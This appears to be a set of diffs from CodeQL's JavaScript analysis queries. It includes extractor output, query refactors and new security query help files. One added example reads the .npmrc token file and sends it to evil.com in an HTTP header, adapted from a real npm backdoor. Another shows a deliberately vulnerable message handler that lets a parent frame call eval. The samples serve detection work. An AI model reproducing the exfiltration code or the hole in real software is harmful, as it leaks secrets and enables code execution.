#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,5,0"
|
||||
locations_default(#20002,#10000,1,1,5,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"var;{f};{#20000}"
|
||||
variables(#20003,"f",#20000)
|
||||
#20004=*
|
||||
stmts(#20004,17,#20001,0,"functio ... y) {}\n}")
|
||||
#20005=@"loc,{#10000},1,1,4,1"
|
||||
locations_default(#20005,#10000,1,1,4,1)
|
||||
hasLocation(#20004,#20005)
|
||||
stmtContainers(#20004,#20001)
|
||||
#20006=*
|
||||
exprs(#20006,78,#20004,-1,"f")
|
||||
#20007=@"loc,{#10000},1,10,1,10"
|
||||
locations_default(#20007,#10000,1,10,1,10)
|
||||
hasLocation(#20006,#20007)
|
||||
exprContainers(#20006,#20004)
|
||||
literals("f","f",#20006)
|
||||
decl(#20006,#20003)
|
||||
#20008=*
|
||||
scopes(#20008,1)
|
||||
scopenodes(#20004,#20008)
|
||||
scopenesting(#20008,#20000)
|
||||
#20009=@"var;{x};{#20008}"
|
||||
variables(#20009,"x",#20008)
|
||||
#20010=*
|
||||
exprs(#20010,78,#20004,0,"x")
|
||||
#20011=@"loc,{#10000},1,12,1,12"
|
||||
locations_default(#20011,#10000,1,12,1,12)
|
||||
hasLocation(#20010,#20011)
|
||||
exprContainers(#20010,#20004)
|
||||
literals("x","x",#20010)
|
||||
decl(#20010,#20009)
|
||||
#20012=@"var;{y};{#20008}"
|
||||
variables(#20012,"y",#20008)
|
||||
#20013=*
|
||||
exprs(#20013,78,#20004,1,"y")
|
||||
#20014=@"loc,{#10000},1,14,1,14"
|
||||
locations_default(#20014,#10000,1,14,1,14)
|
||||
hasLocation(#20013,#20014)
|
||||
exprContainers(#20013,#20004)
|
||||
literals("y","y",#20013)
|
||||
decl(#20013,#20012)
|
||||
#20015=@"var;{arguments};{#20008}"
|
||||
variables(#20015,"arguments",#20008)
|
||||
isArgumentsObject(#20015)
|
||||
#20016=*
|
||||
stmts(#20016,1,#20004,-2,"{\n if ... y) {}\n}")
|
||||
#20017=@"loc,{#10000},1,17,4,1"
|
||||
locations_default(#20017,#10000,1,17,4,1)
|
||||
hasLocation(#20016,#20017)
|
||||
stmtContainers(#20016,#20004)
|
||||
#20018=*
|
||||
stmts(#20018,3,#20016,0,"if (x || y) {}")
|
||||
#20019=@"loc,{#10000},2,3,2,16"
|
||||
locations_default(#20019,#10000,2,3,2,16)
|
||||
hasLocation(#20018,#20019)
|
||||
stmtContainers(#20018,#20004)
|
||||
#20020=*
|
||||
exprs(#20020,45,#20018,0,"x || y")
|
||||
#20021=@"loc,{#10000},2,7,2,12"
|
||||
locations_default(#20021,#10000,2,7,2,12)
|
||||
hasLocation(#20020,#20021)
|
||||
enclosingStmt(#20020,#20018)
|
||||
exprContainers(#20020,#20004)
|
||||
#20022=*
|
||||
exprs(#20022,79,#20020,0,"x")
|
||||
#20023=@"loc,{#10000},2,7,2,7"
|
||||
locations_default(#20023,#10000,2,7,2,7)
|
||||
hasLocation(#20022,#20023)
|
||||
enclosingStmt(#20022,#20018)
|
||||
exprContainers(#20022,#20004)
|
||||
literals("x","x",#20022)
|
||||
bind(#20022,#20009)
|
||||
#20024=*
|
||||
exprs(#20024,79,#20020,1,"y")
|
||||
#20025=@"loc,{#10000},2,12,2,12"
|
||||
locations_default(#20025,#10000,2,12,2,12)
|
||||
hasLocation(#20024,#20025)
|
||||
enclosingStmt(#20024,#20018)
|
||||
exprContainers(#20024,#20004)
|
||||
literals("y","y",#20024)
|
||||
bind(#20024,#20012)
|
||||
#20026=*
|
||||
stmts(#20026,1,#20018,1,"{}")
|
||||
#20027=@"loc,{#10000},2,15,2,16"
|
||||
locations_default(#20027,#10000,2,15,2,16)
|
||||
hasLocation(#20026,#20027)
|
||||
stmtContainers(#20026,#20004)
|
||||
#20028=*
|
||||
stmts(#20028,3,#20016,1,"if (x && y) {}")
|
||||
#20029=@"loc,{#10000},3,3,3,16"
|
||||
locations_default(#20029,#10000,3,3,3,16)
|
||||
hasLocation(#20028,#20029)
|
||||
stmtContainers(#20028,#20004)
|
||||
#20030=*
|
||||
exprs(#20030,44,#20028,0,"x && y")
|
||||
#20031=@"loc,{#10000},3,7,3,12"
|
||||
locations_default(#20031,#10000,3,7,3,12)
|
||||
hasLocation(#20030,#20031)
|
||||
enclosingStmt(#20030,#20028)
|
||||
exprContainers(#20030,#20004)
|
||||
#20032=*
|
||||
exprs(#20032,79,#20030,0,"x")
|
||||
#20033=@"loc,{#10000},3,7,3,7"
|
||||
locations_default(#20033,#10000,3,7,3,7)
|
||||
hasLocation(#20032,#20033)
|
||||
enclosingStmt(#20032,#20028)
|
||||
exprContainers(#20032,#20004)
|
||||
literals("x","x",#20032)
|
||||
bind(#20032,#20009)
|
||||
#20034=*
|
||||
exprs(#20034,79,#20030,1,"y")
|
||||
#20035=@"loc,{#10000},3,12,3,12"
|
||||
locations_default(#20035,#10000,3,12,3,12)
|
||||
hasLocation(#20034,#20035)
|
||||
enclosingStmt(#20034,#20028)
|
||||
exprContainers(#20034,#20004)
|
||||
literals("y","y",#20034)
|
||||
bind(#20034,#20012)
|
||||
#20036=*
|
||||
stmts(#20036,1,#20028,1,"{}")
|
||||
#20037=@"loc,{#10000},3,15,3,16"
|
||||
locations_default(#20037,#10000,3,15,3,16)
|
||||
hasLocation(#20036,#20037)
|
||||
stmtContainers(#20036,#20004)
|
||||
numlines(#20004,4,4,0)
|
||||
#20038=*
|
||||
lines(#20038,#20001,"function f(x,y) {","
|
||||
")
|
||||
#20039=@"loc,{#10000},1,1,1,17"
|
||||
locations_default(#20039,#10000,1,1,1,17)
|
||||
hasLocation(#20038,#20039)
|
||||
#20040=*
|
||||
lines(#20040,#20001," if (x || y) {}","
|
||||
")
|
||||
#20041=@"loc,{#10000},2,1,2,16"
|
||||
locations_default(#20041,#10000,2,1,2,16)
|
||||
hasLocation(#20040,#20041)
|
||||
indentation(#10000,2," ",2)
|
||||
#20042=*
|
||||
lines(#20042,#20001," if (x && y) {}","
|
||||
")
|
||||
#20043=@"loc,{#10000},3,1,3,16"
|
||||
locations_default(#20043,#10000,3,1,3,16)
|
||||
hasLocation(#20042,#20043)
|
||||
indentation(#10000,3," ",2)
|
||||
#20044=*
|
||||
lines(#20044,#20001,"}","
|
||||
")
|
||||
#20045=@"loc,{#10000},4,1,4,1"
|
||||
locations_default(#20045,#10000,4,1,4,1)
|
||||
hasLocation(#20044,#20045)
|
||||
numlines(#20001,4,4,0)
|
||||
#20046=*
|
||||
tokeninfo(#20046,7,#20001,0,"function")
|
||||
#20047=@"loc,{#10000},1,1,1,8"
|
||||
locations_default(#20047,#10000,1,1,1,8)
|
||||
hasLocation(#20046,#20047)
|
||||
#20048=*
|
||||
tokeninfo(#20048,6,#20001,1,"f")
|
||||
hasLocation(#20048,#20007)
|
||||
#20049=*
|
||||
tokeninfo(#20049,8,#20001,2,"(")
|
||||
#20050=@"loc,{#10000},1,11,1,11"
|
||||
locations_default(#20050,#10000,1,11,1,11)
|
||||
hasLocation(#20049,#20050)
|
||||
#20051=*
|
||||
tokeninfo(#20051,6,#20001,3,"x")
|
||||
hasLocation(#20051,#20011)
|
||||
#20052=*
|
||||
tokeninfo(#20052,8,#20001,4,",")
|
||||
#20053=@"loc,{#10000},1,13,1,13"
|
||||
locations_default(#20053,#10000,1,13,1,13)
|
||||
hasLocation(#20052,#20053)
|
||||
#20054=*
|
||||
tokeninfo(#20054,6,#20001,5,"y")
|
||||
hasLocation(#20054,#20014)
|
||||
#20055=*
|
||||
tokeninfo(#20055,8,#20001,6,")")
|
||||
#20056=@"loc,{#10000},1,15,1,15"
|
||||
locations_default(#20056,#10000,1,15,1,15)
|
||||
hasLocation(#20055,#20056)
|
||||
#20057=*
|
||||
tokeninfo(#20057,8,#20001,7,"{")
|
||||
#20058=@"loc,{#10000},1,17,1,17"
|
||||
locations_default(#20058,#10000,1,17,1,17)
|
||||
hasLocation(#20057,#20058)
|
||||
#20059=*
|
||||
tokeninfo(#20059,7,#20001,8,"if")
|
||||
#20060=@"loc,{#10000},2,3,2,4"
|
||||
locations_default(#20060,#10000,2,3,2,4)
|
||||
hasLocation(#20059,#20060)
|
||||
#20061=*
|
||||
tokeninfo(#20061,8,#20001,9,"(")
|
||||
#20062=@"loc,{#10000},2,6,2,6"
|
||||
locations_default(#20062,#10000,2,6,2,6)
|
||||
hasLocation(#20061,#20062)
|
||||
#20063=*
|
||||
tokeninfo(#20063,6,#20001,10,"x")
|
||||
hasLocation(#20063,#20023)
|
||||
#20064=*
|
||||
tokeninfo(#20064,8,#20001,11,"||")
|
||||
#20065=@"loc,{#10000},2,9,2,10"
|
||||
locations_default(#20065,#10000,2,9,2,10)
|
||||
hasLocation(#20064,#20065)
|
||||
#20066=*
|
||||
tokeninfo(#20066,6,#20001,12,"y")
|
||||
hasLocation(#20066,#20025)
|
||||
#20067=*
|
||||
tokeninfo(#20067,8,#20001,13,")")
|
||||
#20068=@"loc,{#10000},2,13,2,13"
|
||||
locations_default(#20068,#10000,2,13,2,13)
|
||||
hasLocation(#20067,#20068)
|
||||
#20069=*
|
||||
tokeninfo(#20069,8,#20001,14,"{")
|
||||
#20070=@"loc,{#10000},2,15,2,15"
|
||||
locations_default(#20070,#10000,2,15,2,15)
|
||||
hasLocation(#20069,#20070)
|
||||
#20071=*
|
||||
tokeninfo(#20071,8,#20001,15,"}")
|
||||
#20072=@"loc,{#10000},2,16,2,16"
|
||||
locations_default(#20072,#10000,2,16,2,16)
|
||||
hasLocation(#20071,#20072)
|
||||
#20073=*
|
||||
tokeninfo(#20073,7,#20001,16,"if")
|
||||
#20074=@"loc,{#10000},3,3,3,4"
|
||||
locations_default(#20074,#10000,3,3,3,4)
|
||||
hasLocation(#20073,#20074)
|
||||
#20075=*
|
||||
tokeninfo(#20075,8,#20001,17,"(")
|
||||
#20076=@"loc,{#10000},3,6,3,6"
|
||||
locations_default(#20076,#10000,3,6,3,6)
|
||||
hasLocation(#20075,#20076)
|
||||
#20077=*
|
||||
tokeninfo(#20077,6,#20001,18,"x")
|
||||
hasLocation(#20077,#20033)
|
||||
#20078=*
|
||||
tokeninfo(#20078,8,#20001,19,"&&")
|
||||
#20079=@"loc,{#10000},3,9,3,10"
|
||||
locations_default(#20079,#10000,3,9,3,10)
|
||||
hasLocation(#20078,#20079)
|
||||
#20080=*
|
||||
tokeninfo(#20080,6,#20001,20,"y")
|
||||
hasLocation(#20080,#20035)
|
||||
#20081=*
|
||||
tokeninfo(#20081,8,#20001,21,")")
|
||||
#20082=@"loc,{#10000},3,13,3,13"
|
||||
locations_default(#20082,#10000,3,13,3,13)
|
||||
hasLocation(#20081,#20082)
|
||||
#20083=*
|
||||
tokeninfo(#20083,8,#20001,22,"{")
|
||||
#20084=@"loc,{#10000},3,15,3,15"
|
||||
locations_default(#20084,#10000,3,15,3,15)
|
||||
hasLocation(#20083,#20084)
|
||||
#20085=*
|
||||
tokeninfo(#20085,8,#20001,23,"}")
|
||||
#20086=@"loc,{#10000},3,16,3,16"
|
||||
locations_default(#20086,#10000,3,16,3,16)
|
||||
hasLocation(#20085,#20086)
|
||||
#20087=*
|
||||
tokeninfo(#20087,8,#20001,24,"}")
|
||||
hasLocation(#20087,#20045)
|
||||
#20088=*
|
||||
tokeninfo(#20088,0,#20001,25,"")
|
||||
#20089=@"loc,{#10000},5,1,5,0"
|
||||
locations_default(#20089,#10000,5,1,5,0)
|
||||
hasLocation(#20088,#20089)
|
||||
#20090=*
|
||||
entry_cfg_node(#20090,#20001)
|
||||
#20091=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20091,#10000,1,1,1,0)
|
||||
hasLocation(#20090,#20091)
|
||||
#20092=*
|
||||
exit_cfg_node(#20092,#20001)
|
||||
hasLocation(#20092,#20089)
|
||||
successor(#20004,#20092)
|
||||
#20093=*
|
||||
entry_cfg_node(#20093,#20004)
|
||||
hasLocation(#20093,#20091)
|
||||
#20094=*
|
||||
exit_cfg_node(#20094,#20004)
|
||||
#20095=@"loc,{#10000},4,2,4,1"
|
||||
locations_default(#20095,#10000,4,2,4,1)
|
||||
hasLocation(#20094,#20095)
|
||||
successor(#20016,#20018)
|
||||
successor(#20028,#20030)
|
||||
successor(#20030,#20032)
|
||||
#20096=*
|
||||
guard_node(#20096,1,#20032)
|
||||
hasLocation(#20096,#20033)
|
||||
successor(#20096,#20034)
|
||||
#20097=*
|
||||
guard_node(#20097,0,#20032)
|
||||
hasLocation(#20097,#20033)
|
||||
successor(#20097,#20094)
|
||||
successor(#20032,#20096)
|
||||
successor(#20032,#20097)
|
||||
#20098=*
|
||||
guard_node(#20098,1,#20034)
|
||||
hasLocation(#20098,#20035)
|
||||
successor(#20098,#20036)
|
||||
#20099=*
|
||||
guard_node(#20099,0,#20034)
|
||||
hasLocation(#20099,#20035)
|
||||
successor(#20099,#20094)
|
||||
successor(#20034,#20098)
|
||||
successor(#20034,#20099)
|
||||
successor(#20036,#20094)
|
||||
successor(#20018,#20020)
|
||||
successor(#20020,#20022)
|
||||
#20100=*
|
||||
guard_node(#20100,1,#20022)
|
||||
hasLocation(#20100,#20023)
|
||||
successor(#20100,#20026)
|
||||
#20101=*
|
||||
guard_node(#20101,0,#20022)
|
||||
hasLocation(#20101,#20023)
|
||||
successor(#20101,#20024)
|
||||
successor(#20022,#20100)
|
||||
successor(#20022,#20101)
|
||||
#20102=*
|
||||
guard_node(#20102,1,#20024)
|
||||
hasLocation(#20102,#20025)
|
||||
successor(#20102,#20026)
|
||||
#20103=*
|
||||
guard_node(#20103,0,#20024)
|
||||
hasLocation(#20103,#20025)
|
||||
successor(#20103,#20028)
|
||||
successor(#20024,#20102)
|
||||
successor(#20024,#20103)
|
||||
successor(#20026,#20028)
|
||||
successor(#20013,#20016)
|
||||
successor(#20010,#20013)
|
||||
successor(#20093,#20010)
|
||||
successor(#20006,#20004)
|
||||
successor(#20090,#20006)
|
||||
numlines(#10000,4,4,0)
|
||||
filetype(#10000,"typescript")
|
||||
@@ -17,33 +17,31 @@ predicate hasMethod(ClassDefinition base, string name, MethodDefinition m) {
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `access` is in`fromMethod`, and it references `toMethod` through `this`.
|
||||
* Holds if `access` is in`fromMethod`, and it references `toMethod` through `this`,
|
||||
* where `fromMethod` and `toMethod` are of kind `fromKind` and `toKind`, respectively.
|
||||
*/
|
||||
predicate isLocalMethodAccess(PropAccess access, MethodDefinition fromMethod, MethodDefinition toMethod) {
|
||||
hasMethod(fromMethod.getDeclaringClass(), access.getPropertyName(), toMethod) and
|
||||
access.getEnclosingFunction() = fromMethod.getBody() and
|
||||
access.getBase() instanceof ThisExpr
|
||||
predicate isLocalMethodAccess(PropAccess access, MethodDefinition fromMethod, string fromKind,
|
||||
MethodDefinition toMethod, string toKind) {
|
||||
hasMethod(fromMethod.getDeclaringClass(), access.getPropertyName(), toMethod) and
|
||||
access.getEnclosingFunction() = fromMethod.getBody() and
|
||||
access.getBase() instanceof ThisExpr and
|
||||
fromKind = getKind(fromMethod) and
|
||||
toKind = getKind(toMethod)
|
||||
}
|
||||
|
||||
string getKind(MethodDefinition m) {
|
||||
if m.isStatic() then result = "static" else result = "instance"
|
||||
if m.isStatic() then result = "static" else result = "instance"
|
||||
}
|
||||
|
||||
from PropAccess access, MethodDefinition fromMethod, MethodDefinition toMethod, string fromKind, string toKind
|
||||
where
|
||||
isLocalMethodAccess(access, fromMethod, toMethod) and
|
||||
fromKind = getKind(fromMethod) and
|
||||
toKind = getKind(toMethod) and
|
||||
isLocalMethodAccess(access, fromMethod, fromKind, toMethod, toKind) and
|
||||
toKind != fromKind and
|
||||
not toKind = fromKind and
|
||||
|
||||
// exceptions
|
||||
not (
|
||||
// the class has a second member with the same name and the right kind
|
||||
exists (MethodDefinition toMethodWithSameKind |
|
||||
isLocalMethodAccess(access, fromMethod, toMethodWithSameKind) and
|
||||
fromKind = getKind(toMethodWithSameKind)
|
||||
)
|
||||
isLocalMethodAccess(access, fromMethod, _, _, fromKind)
|
||||
or
|
||||
// there is a dynamically assigned second member with the same name and the right kind
|
||||
exists (AnalyzedPropertyWrite apw, AbstractClass declaringClass, AbstractValue base |
|
||||
|
||||
@@ -12,6 +12,7 @@ predicate isDOMRootType(ExternalType et) {
|
||||
}
|
||||
|
||||
/** Holds if `p` is declared as a property of a DOM class or interface. */
|
||||
pragma[nomagic]
|
||||
predicate isDOMProperty(string p) {
|
||||
exists (ExternalMemberDecl emd | emd.getName() = p |
|
||||
isDOMRootType(emd.getDeclaringType().getASupertype*())
|
||||
|
||||
@@ -16,5 +16,6 @@ private import semmle.javascript.dataflow.InferredTypes
|
||||
from InvokeExpr invk, DataFlow::AnalyzedNode callee
|
||||
where callee.asExpr() = invk.getCallee() and
|
||||
forex (InferredType tp | tp = callee.getAType() | tp != TTFunction() and tp != TTClass()) and
|
||||
not invk.isAmbient()
|
||||
not invk.isAmbient() and
|
||||
not invk instanceof OptionalUse
|
||||
select invk, "Callee is not a function: it has type " + callee.ppTypes() + "."
|
||||
@@ -32,5 +32,6 @@ from PropAccess pacc, DataFlow::AnalyzedNode base
|
||||
where base.asExpr() = pacc.getBase() and
|
||||
forex (InferredType tp | tp = base.getAType() | tp = TTNull() or tp = TTUndefined()) and
|
||||
not namespaceOrConstEnumAccess(pacc.getBase()) and
|
||||
not pacc.isAmbient()
|
||||
not pacc.isAmbient() and
|
||||
not pacc instanceof OptionalUse
|
||||
select pacc, "The base expression of this property access is always " + base.ppTypes() + "."
|
||||
|
||||
@@ -56,26 +56,60 @@ predicate calls(DataFlow::InvokeNode cs, Function callee, int imprecision) {
|
||||
|
||||
/**
|
||||
* Gets a function that may be invoked at `cs`, preferring callees that
|
||||
* are less likely to be derived due to analysis imprecision.
|
||||
* are less likely to be derived due to analysis imprecision and excluding
|
||||
* whitelisted call sites and callees. Additionally, `isNew` is bound to
|
||||
* `true` if `cs` is a `new` expression, and to `false` otherwise.
|
||||
*/
|
||||
Function getALikelyCallee(DataFlow::InvokeNode cs) {
|
||||
calls(cs, result, min(int p | calls(cs, _, p)))
|
||||
Function getALikelyCallee(DataFlow::InvokeNode cs, boolean isNew) {
|
||||
calls(cs, result, min(int p | calls(cs, _, p))) and
|
||||
not cs.isUncertain() and
|
||||
not whitelistedCall(cs) and
|
||||
not whitelistedCallee(result) and
|
||||
(cs instanceof DataFlow::NewNode and isNew = true
|
||||
or
|
||||
cs instanceof DataFlow::CallNode and isNew = false)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `f` should be whitelisted, either because it guards against
|
||||
* inconsistent `new` or we do not want to report it.
|
||||
*/
|
||||
predicate whitelistedCallee(Function f) {
|
||||
// externs are special, so don't flag them
|
||||
f.inExternsFile() or
|
||||
// illegal constructor calls are flagged by query 'Illegal invocation',
|
||||
// so don't flag them
|
||||
f instanceof Constructor or
|
||||
// if `f` itself guards against missing `new`, don't flag it
|
||||
guardsAgainstMissingNew(f)
|
||||
}
|
||||
|
||||
/**
|
||||
* Holds if `call` should be whitelisted because it cannot cause problems
|
||||
* with inconsistent `new`.
|
||||
*/
|
||||
predicate whitelistedCall(DataFlow::CallNode call) {
|
||||
// super constructor calls behave more like `new`, so don't flag them
|
||||
call.asExpr() instanceof SuperCall or
|
||||
// don't flag if there is a receiver object
|
||||
exists(call.getReceiver())
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the `new` or call (depending on whether `isNew` is true or false) of `f`
|
||||
* that comes first under a lexicographical ordering by file path, start line
|
||||
* and start column.
|
||||
*/
|
||||
DataFlow::InvokeNode getFirstInvocation(Function f, boolean isNew) {
|
||||
result = min(DataFlow::InvokeNode invk, string path, int line, int col |
|
||||
f = getALikelyCallee(invk, isNew) and invk.hasLocationInfo(path, line, col, _, _) |
|
||||
invk order by path, line, col
|
||||
)
|
||||
}
|
||||
|
||||
from Function f, DataFlow::NewNode new, DataFlow::CallNode call
|
||||
where // externs are special, so don't flag them
|
||||
not f.inExternsFile() and
|
||||
// illegal constructor calls are flagged by query 'Illegal invocation',
|
||||
// so don't flag them
|
||||
not f instanceof Constructor and
|
||||
f = getALikelyCallee(new) and
|
||||
f = getALikelyCallee(call) and
|
||||
not guardsAgainstMissingNew(f) and
|
||||
not new.isUncertain() and
|
||||
not call.isUncertain() and
|
||||
// super constructor calls behave more like `new`, so don't flag them
|
||||
not call.asExpr() instanceof SuperCall and
|
||||
// don't flag if there is a receiver object
|
||||
not exists(call.getReceiver())
|
||||
select (FirstLineOf)f, capitalize(f.describe()) + " is invoked as a constructor here $@, " +
|
||||
"and as a normal function here $@.", new, new.toString(), call, call.toString()
|
||||
where new = getFirstInvocation(f, true) and
|
||||
call = getFirstInvocation(f, false)
|
||||
select (FirstLineOf)f, capitalize(f.describe()) + " is sometimes invoked as a constructor " +
|
||||
"(for example $@), and sometimes as a normal function (for example $@).",
|
||||
new, "here", call, "here"
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
Manifest-Version: 1.0
|
||||
Bundle-ManifestVersion: 2
|
||||
Bundle-Name: Semmle JavaScript Default Queries
|
||||
Bundle-SymbolicName: com.semmle.plugin.semmlecode.javascript.queries;singleton:=true
|
||||
Bundle-Version: 1.18.3.qualifier
|
||||
Bundle-Vendor: Semmle Ltd.
|
||||
Bundle-ActivationPolicy: lazy
|
||||
Require-Bundle: com.semmle.plugin.qdt.ui;bundle-version="[1.18.3.qualifier,1.18.3.qualifier]"
|
||||
@@ -78,17 +78,21 @@ predicate isDerivedFromLength(DataFlow::Node length, DataFlow::Node operand) {
|
||||
exists (IndexOfCall call | operand = call.getAnOperand() |
|
||||
length = getStringSource(operand).getAPropertyRead("length")
|
||||
or
|
||||
// Find a literal length with the same string constant
|
||||
exists (LiteralLengthExpr lengthExpr |
|
||||
lengthExpr.getContainer() = call.getContainer() and
|
||||
lengthExpr.getBaseValue() = operand.asExpr().getStringValue() and
|
||||
length = lengthExpr.flow())
|
||||
or
|
||||
// Find an integer constants that equals the length of string constant
|
||||
exists (Expr lengthExpr |
|
||||
lengthExpr.getContainer() = call.getContainer() and
|
||||
lengthExpr.getIntValue() = operand.asExpr().getStringValue().length() and
|
||||
length = lengthExpr.flow())
|
||||
exists (string val | val = operand.asExpr().getStringValue() |
|
||||
// Find a literal length with the same string constant
|
||||
exists (LiteralLengthExpr lengthExpr |
|
||||
lengthExpr.getContainer() = call.getContainer() and
|
||||
lengthExpr.getBaseValue() = val and
|
||||
length = lengthExpr.flow()
|
||||
)
|
||||
or
|
||||
// Find an integer constant that equals the length of string constant
|
||||
exists (Expr lengthExpr |
|
||||
lengthExpr.getContainer() = call.getContainer() and
|
||||
lengthExpr.getIntValue() = val.length() and
|
||||
length = lengthExpr.flow()
|
||||
)
|
||||
)
|
||||
)
|
||||
or
|
||||
isDerivedFromLength(length.getAPredecessor(), operand)
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Calling a user-controlled method on certain objects can lead to invocation of unsafe functions,
|
||||
such as <code>eval</code> or the <code>Function</code> constructor. In particular, the global object
|
||||
contains the <code>eval</code> function, and any function object contains the <code>Function</code> constructor
|
||||
in its <code>constructor</code> property.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Avoid invoking user-controlled methods on the global object or on any function object.
|
||||
Whitelist the permitted method names or change the type of object the methods are stored on.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
In the following example, a message from the document's parent frame can invoke the <code>play</code>
|
||||
or <code>pause</code> method. However, it can also invoke <code>eval</code>.
|
||||
A malicious website could embed the page in an iframe and execute arbitrary code by sending a message
|
||||
with the name <code>eval</code>.
|
||||
</p>
|
||||
|
||||
<sample src="examples/UnsafeDynamicMethodAccess.js" />
|
||||
|
||||
<p>
|
||||
Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good
|
||||
practice to prevent invocation of inherited methods like <code>toString</code> and <code>valueOf</code>.
|
||||
</p>
|
||||
|
||||
<sample src="examples/UnsafeDynamicMethodAccessGood.js" />
|
||||
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>
|
||||
OWASP:
|
||||
<a href="https://www.owasp.org/index.php/Code_Injection">Code Injection</a>.
|
||||
</li>
|
||||
<li>
|
||||
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties">Global functions</a>.
|
||||
</li>
|
||||
<li>
|
||||
MDN: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function constructor</a>.
|
||||
</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
@@ -0,0 +1,17 @@
|
||||
/**
|
||||
* @name Unsafe dynamic method access
|
||||
* @description Invoking user-controlled methods on certain objects can lead to remote code execution.
|
||||
* @kind path-problem
|
||||
* @problem.severity error
|
||||
* @precision high
|
||||
* @id js/unsafe-dynamic-method-access
|
||||
* @tags security
|
||||
* external/cwe/cwe-094
|
||||
*/
|
||||
import javascript
|
||||
import semmle.javascript.security.dataflow.UnsafeDynamicMethodAccess::UnsafeDynamicMethodAccess
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
|
||||
where cfg.hasFlowPath(source, sink)
|
||||
select sink, source, sink, "Invocation of method derived from $@ may lead to remote code execution.", source.getNode(), "user-controlled value"
|
||||
@@ -0,0 +1,14 @@
|
||||
// API methods
|
||||
function play(data) {
|
||||
// ...
|
||||
}
|
||||
function pause(data) {
|
||||
// ...
|
||||
}
|
||||
|
||||
window.addEventListener("message", (ev) => {
|
||||
let message = JSON.parse(ev.data);
|
||||
|
||||
// Let the parent frame call the 'play' or 'pause' function
|
||||
window[message.name](message.payload);
|
||||
});
|
||||
@@ -0,0 +1,19 @@
|
||||
// API methods
|
||||
let api = {
|
||||
play: function(data) {
|
||||
// ...
|
||||
},
|
||||
pause: function(data) {
|
||||
// ...
|
||||
}
|
||||
};
|
||||
|
||||
window.addEventListener("message", (ev) => {
|
||||
let message = JSON.parse(ev.data);
|
||||
|
||||
// Let the parent frame call the 'play' or 'pause' function
|
||||
if (!api.hasOwnProperty(message.name)) {
|
||||
return;
|
||||
}
|
||||
api[message.name](message.payload);
|
||||
});
|
||||
37
javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp
Normal file
37
javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp
Normal file
@@ -0,0 +1,37 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Sending local file system data to a remote URL without further
|
||||
validation risks uncontrolled information exposure, and may be
|
||||
an indication of malicious backdoor code that has been
|
||||
implanted into an otherwise trusted code base.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
Examine the highlighted code closely to ensure that it is
|
||||
behaving as intended.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example is adapted from backdoor code that was identified in two
|
||||
popular npm packages. It reads the contents of the <code>.npmrc</code> file
|
||||
(which may contain secret npm tokens) and sends it to a remote server by
|
||||
embedding it into an HTTP request header.
|
||||
</p>
|
||||
<sample src="examples/FileAccessToHttp.js"/>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
|
||||
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
@@ -0,0 +1,10 @@
|
||||
var fs = require("fs"),
|
||||
https = require("https");
|
||||
|
||||
var content = fs.readFileSync(".npmrc", "utf8");
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: content }
|
||||
}, () => { });
|
||||
@@ -6,31 +6,22 @@
|
||||
<overview>
|
||||
<p>
|
||||
Dynamically computing object property names from untrusted input
|
||||
may have multiple undesired consequences. For example,
|
||||
if the property access is used as part of a write, an
|
||||
attacker may overwrite vital properties of objects, such as
|
||||
<code>__proto__</code>. This attack is known as <i>prototype
|
||||
pollution attack</i> and may serve as a vehicle for denial-of-service
|
||||
attacks. A similar attack vector, is to replace the
|
||||
<code>toString</code> property of an object with a primitive.
|
||||
Whenever <code>toString</code> is then called on that object, either
|
||||
explicitly or implicitly as part of a type coercion, an exception
|
||||
may have multiple undesired consequences. For example,
|
||||
if the property access is used as part of a write, an
|
||||
attacker may overwrite vital properties of objects, such as
|
||||
<code>__proto__</code>. This attack is known as <i>prototype
|
||||
pollution attack</i> and may serve as a vehicle for denial-of-service
|
||||
attacks. A similar attack vector, is to replace the
|
||||
<code>toString</code> property of an object with a primitive.
|
||||
Whenever <code>toString</code> is then called on that object, either
|
||||
explicitly or implicitly as part of a type coercion, an exception
|
||||
will be raised.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Moreover, if the dynamically computed property is
|
||||
used as part of a method call, the attacker may trigger
|
||||
the execution of unwanted functions such as the
|
||||
